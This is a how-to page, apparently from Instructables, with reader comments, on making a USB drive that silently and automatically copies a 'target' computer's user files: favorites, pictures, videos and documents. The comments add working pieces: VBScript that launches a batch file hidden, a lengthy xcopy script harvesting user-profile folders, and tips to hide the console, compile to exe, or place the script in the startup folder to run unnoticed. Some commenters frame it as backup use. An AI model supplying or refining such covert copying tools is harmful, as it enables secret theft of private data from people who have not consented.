How to make flash drive that copy's users files silently and automatically

Picture of How to make flash drive that copy's users files silently and automatically

How to build a simple five file usb drive that copy's current user's favorites, pictures, and video folders to the thumb drive automatically and silently when inserted. Can also be customized for other files that need to be copied.

Remove these adsRemove these ads by Signing Up

Step 1: Materials needed

Picture of Materials needed
Let me first say this is my first instructable... so be nice. Any help in making it better would be nice.

Flash/thumb drive 8gb-- $25.00.
computer to write files on.
someone to try out thumb drive on.

Just a note, you can use any size thumb drive I used 8gb it was on sale when I bought it. Also the more space you have on the drive the better... just incase the target computer has LOTS of files you will have the space to copy to.
1-40 of 293Next »
bbarcroft9 months ago

Hey everyone I am having issues. I am trying to sync files from one folder to another when they plug in the USB drive. I have a .bat file that correctly syncs the folders. I have an autorun that changes the name of the drive and the icon. However, I can not get the autorun to run the .bat file. Any Ideas?

This is a problem that Windows Bill Gates himself discovered so he disabled autorun there fore stopping it froms starting pprograms other than from the computer and also this was only stoped from xp onwards and xp soo yeah...

Good luck

P.S for your trying to do this on an windows XP computer it will work unless they have trend micro office securiy it blocks all auto run features from outr side of the computer

ausman19 months ago

I Like this page thanks

tommycai made it!9 months ago

Thanks for the information made one, great for backups without having to click on a bunch of things. I did have to click on the autolaunch to execute but one button is a lot less thanks.

minijc1 year ago
could sombody modify this code so that it copys the entire hard drive.

yes you could But You wold probs need a hars disk instead of a usb because It would be like 200G or more

rpmartinez11 months ago

Hi, I'd like to use this for backing up User profiles, and documents at my company and then later on restore that info onto their new computers. Is there anyway to make it so the backup folder automatically gets renamed to the User Profile's name?

So, I may backup multiple computers first and then later on know which documents belong to that particular user.

yes there is but You cant find it here go look on

adam3371 year ago
If you have that much access to the pc, you could just make a batch script that copies all files and set it in the startup folder. It will run silently, and gets rid of the need for the obvious USB. Of course, you could keep the USB and have the batch file in the startup folder write to the USB.
eperez201 year ago
Hello, love the product, but it does not auto run. Also for you venturous people out there, I made a simple manual kill command that will stop the process if you need to.

~~~~taskkill /im cmd.exe~~~~

just put that in a .bat file and you are good to go.
sadams361 year ago
One of the best ways to improve this would be to go through and correct the spelling and grammar errors. It REALLY makes it hard to follow your instructions when you don't use punctuation and run two sentences together. At one point, it took me several minutes to figure out what the hell you did to the sentence to finally understand what you were trying to say.

Sorry if that sounds "negative" but a well-worded instruction would go very far in helping people to understand your process.

Can't wait to give this a try!
goldmadw1 year ago
I'm running windows 7 64bit pro. It does work.
CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
make sure 1 one space between & and WScript...
Zakaria.K1 year ago
the .vbs didn't work for me so here's another I found on the Internet:

Set WinScriptHost = CreateObject("WScript.Shell") WinScriptHost.Run Chr(34) &"*BatchPathHere*" & Chr(34), 0 Set WinScriptHost = Nothing

- just because it may not work on other computers, - as well as mine
imathew11 year ago
well.. im srry 2 say but microsoft has disabled the autorun ability for usb in windows precaution since most malware come from usb. Soo if u wanna make it work its gotta be on windows 2000, xp, or vista(who uses 2000 anymore???)..and frankly there's nuthin u can do 2 change the autorun ability so you'll have to click on the launch.bat file if u wanna make this work..
elia11 year ago
hi,it works well,thank you.but there's a problem that it's not invisible when i click on the launch.bat a black window opens and begin to list all the files that i want to copy;

can u plz help??
good tutorial, now i have 1 question...
how to stop/cancel copy ?
vincenthor1 year ago
how about automatically copying all files from any USB plugged to the computer into the hard drive?
minijc1 year ago
how would you coppy the documents folder please paste the code in the reponse.
iute12 years ago
hi and thnx
i do as u told and it work properly except that i have to click on launch.bat file to start copy. what is the problem and what should i do?
Thanks again
mnbpoi62 years ago
This autorun will be captured and deleted by pretty much any AV that is installed. Also, autorun from USB does not work at all on Windows 7.

This will still work by running the Launch.bat directly, but a silent autorunner is no longer possible on most PCs (for obvious this one)
selvol2 years ago
How ever late I may be.

It works....
tzq33tdq2 years ago
does their computer need to be on/logged in?
surpcrepair4 years ago
ok so this is what i want to be able to do can you give me an example of the code if possible... lets use c: as example So i want to copy all .jpg files on c: that are bigger then 60Kb and im assuming if you give me that line i can just change the .jpg to .avi, .bmp, .mp3 whatever and actually even better if you could limit it between specific file sizes like 100kb-120mb so basically i backup restore alot of user computers i want to put in the thump drive it will backup the most common files they will need and i can restore without me wasting my time looking through files and seeing what i need to keep or not. also i am having an issue i have done everything exectly as described but my autorun.inf wont autostart and it wont do anything but open in notepad... im using windows 7
just to update nevermind its working perfectly this computer is just highly customized and i have all of the autorun and everything off it works great on my other winxp computer.... but is there a way to not have the command box come up and say " CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False " also one more question, i still havent figured out how the do the above part with the sizes but i am having an issues with the pdf files i its taking everything from program files that is pdf and i really dont need those its taking like the pdf install and help files from installed programs is there a way to block specific locations from being copied from or for things like pdf and documents and i going to have to specify folders to look in?
You could get a batch to exe converter and most of them have options like run in background so it's an exe file but you can't see the command window when you run it.
There is in fact a way to not have a command box come up. The way I do it is:
+Write (and compile) a C file that runs your batch file's commands invisibly

     #include <stdio.h>
     #include <windows.h>
     int main()
       return (0);

+Write a VBS file that runs that compiled C program (now a shiny .EXE file)

    Set objSh = CreateObject("Shell.Application")
    objSh.ShellExecute "example-exe-file", "" , "", "", 0

Now make sure they are all in the same directory, unless you want to get more complicated with your code. To start the invisible batch file, run the VBS file.

This works because the VBS file can start a program invisibly, but it can only do this to executables (.EXEs). This doesn't include batch files (.BAT). However, the compiled C file is in fact executable. So the VBS runs the C, which runs the Batch as its own commands (that is to say, invisibly).

For more help, just comment.

By the way, I was about to write an instructable on that, but now I dont think it's necassary.

lol another question... so i want to add multiple drives to my script and i am having an issue where I put like the drive letters I want to scan and copy files from but when it tries to copy/scan on the drive litter that my thumbdrive is on it causes a problem and hangs. how do I get it to not scan the drive that its running on when its scanning for files? sorry so many questions but i have been playing with this thing all night and almost got it the way i want it other then these few things and I have been googleing all over to find out more info but not coming up with much.
below is my script i have right now, i was using the other scripts but i really have no point i just double click on file.bat and everything works and i actually want to see whats going on so i turned echo on. I want to have on the bottom part where D:\ begins i want to copy that and have all of the letters scanned except the letter that the thumbdrive is on. I have this on my 16gb sdhc sdcard using a usb adapter. @echo on :: variables SET odrive=%odrive:~0,2% set backupcmd=xcopy /s /c /d /e /h /i /r /y echo on %backupcmd% "%USERPROFILE%\Favorites" "%drive%\backup\favorites" %backupcmd% "%USERPROFILE%\Desktop\*.jpg" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\Desktop\*.jpeg" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\Desktop\*.bmp" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\Desktop\*.3gp" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\Desktop\*.mp4" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\Desktop\*.avi" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\Desktop\*.wmv" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\Contacts" "%drive%\backup\contacts" %backupcmd% "%USERPROFILE%\Links" "%drive%\backup\links" %backupcmd% "%USERPROFILE%\My Documents\My Music" "%drive%\backup\mp3" %backupcmd% "%USERPROFILE%\My Documents\Downloads" "%drive%\backup\downloads" %backupcmd% "%USERPROFILE%\My Music" "%drive%\backup\mp3" %backupcmd% "%USERPROFILE%\My Documents\*.jpg" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\My Documents\*.bmp" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\My Documents\*.avi" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\My Documents\*.mpg" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\My Documents\*.3gp" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\My Documents\*.mp4" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\My Pictures" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\Videos" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\Music" "%drive%\backup\mp3" %backupcmd% "%USERPROFILE%\Downloads" "%drive%\backup\downloads" %backupcmd% "D:\*.jpg" "%drive%\backup\img" %backupcmd% "D:\*.jpeg" "%drive%\backup\img" %backupcmd% "D:\*.bmp" "%drive%\backup\img" %backupcmd% "D:\*.3gp" "%drive%\backup\vid" %backupcmd% "D:\*.mp4" "%drive%\backup\vid" %backupcmd% "D:\*.avi" "%drive%\backup\vid" %backupcmd% "D:\*.wmv" "%drive%\backup\vid" @echo on cls
hmm, is there a simple way i can exclude a specific folder? like say... "AppData"
it just keeps getting in the way.
hey please show me what to assign to folder for example if i want any bat file i say" *.bat" and for any file "*.*" what can i say for any folder any whare?? please ur blessed and show me
shan02 years ago
its really great subject but i just want to ask if want to copy the jpg files
but from the whole hard drive
not only form the C drive
i mean form the drive D,E,F..... etc
what should i write
and thanks alot
jbouffard2 years ago
any way to make to see it when i press (for example) the "c" key?
thanks in advance
jj.inc2 years ago
Doesn't work in windows 7, only Vista and XP, windows removed the autorun from flashdrives for security reasons.
amlis2 years ago
i tryed your program but it wouldn't automatically come up
minijc2 years ago
can somebody just put the code in that you need
Really cool idea, but your DOSing needs some work. Like, a lot off work.
":: variables" ?
"/min" '/min' is not recognized as an internal or external command, operable program or batch file.
"SET odrive=%odrive:~0,2%" I'm sure this has a use, but I can't figure out what it is.
And lastly, you only need "@Echo off" at the beginning of the batch.

Still a really cool idea though :)
Actually, you need some DOSing work if you don't get this. it took me a couple of hours to find out what it does. first, the ::variables is just a comment, they are not run, it just lets you know what it is while editing. the /min, was most likely used to run something minimized. and almost the last but not least, the SET odrive=%odrive:~0,2% has a very important use.

copied from cmd help itself states:

would expand the PATH environment variable, and then use only the 5
characters that begin at the 11th (offset 10) character of the expanded
result. If the length is not specified, then it defaults to the
remainder of the variable value. If either number (offset or length) is
negative, then the number used is the length of the environment variable
value added to the offset or length specified.


would extract the last 10 characters of the PATH variable.


would extract all but the last 2 characters of the PATH variable.
so what it is saying is............, sets the variable odrive to %odrive:~0,2%
now, %odrive:~0,2% states that the variable odrive gets expanded, and only the first 2 characters that begin at the 1st would be set to the variable odrive.
which in turn would be the drive and the colon.

such as
and so on and so forth.

and finally, the @echo off just keeps cmd from telling you where it was started from. which is usefull if you see it happening. but thanks to the invisible.vbs, it doesn't get viewed since its a process.
Anyway to search for a specific Volume label and set %drive% to that drive letter?
answered my own question. The code below is what I have.

works great with this:

use bat to exe found here:

to convert the batch file to an exe file. You can even include your own icon and set it to run silently. place the generated .exe and the ini file for u3-autorun and profit in education!
Hi, I'm kind of new to this but so far I'm making it work. Currently I'm running Windows OS 7, and having some difficulty getting the auto run file to boot as soon the the flash drive is inserted. After some research of my own I found out that windows 7 is not compatible with auto run file on a flash drive, any suggestions would be helpful as to an alternative.

I have been able to get this to work just by going into the flash drive once its inserted and double clicking on the File.bat.

Also, If anyone could help me out with an install script for a separate program to be run simotaneously from this one on the same flash drive. Thanks a ton.
1-40 of 293Next »